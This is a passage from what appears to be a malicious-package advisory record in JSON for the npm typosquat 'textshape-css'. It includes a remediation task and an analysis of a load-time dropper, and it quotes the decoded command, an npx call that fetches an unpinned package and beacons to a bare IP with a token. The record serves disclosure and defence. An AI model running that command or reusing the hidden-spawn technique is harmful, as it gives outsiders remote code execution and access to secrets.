Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6475/ (Markdown: https://insights.sbomify.com/MAL-2026-6475/index.md)","id":"MAL-2026-6475","markdown":"https://insights.sbomify.com/MAL-2026-6475/index.md","name":"MAL-2026-6475","record":{"aliases":["GHSA-pmmh-8m34-xxwh"],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"The package presents itself as a Tailwind CSS typography plugin (its name, description, and source tree clone @tailwindcss/typography), but src/index.js appends an obfuscated payload that runs at module load. Char-code arrays at the bottom of src/index.js decode to `child_process`, `spawn`/`exec`, `/bin/sh`, and the command `npx -y runtimedev-link@latest --token \"http://194.11.226.41:4000|zRlY7_JxvFY8_Zhhu8ih24iW_dT5Rb_9\"`. A trailing `_.y();` invokes this immediately whenever any consumer does `require('textshape-css')` / `import 'textshape-css'`. On POSIX it spawns `/bin/sh -c 'nohup... \u003e/dev/null 2\u003e\u00261'` detached with stdio ignored; on Windows it goes via `child_process.exec` with `windowsHide`. The effect is to fetch and run an unpinned third-party npm package (`runtimedev-link@latest`) that beacons to a bare IP (194.11.226.41:4000) over plain HTTP with an attacker-supplied token — a remote-code-execution dropper. The package name and description are a near-verbatim typosquat of @tailwindcss/typography, targeting developers searching for that plugin.\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in textshape-css (npm)","id":"MAL-2026-6475","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":["0"],"last_affected":[],"package":"textshape-css","purl":"pkg:npm/textshape-css","source":"MAL-2026-6475"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6475/"}
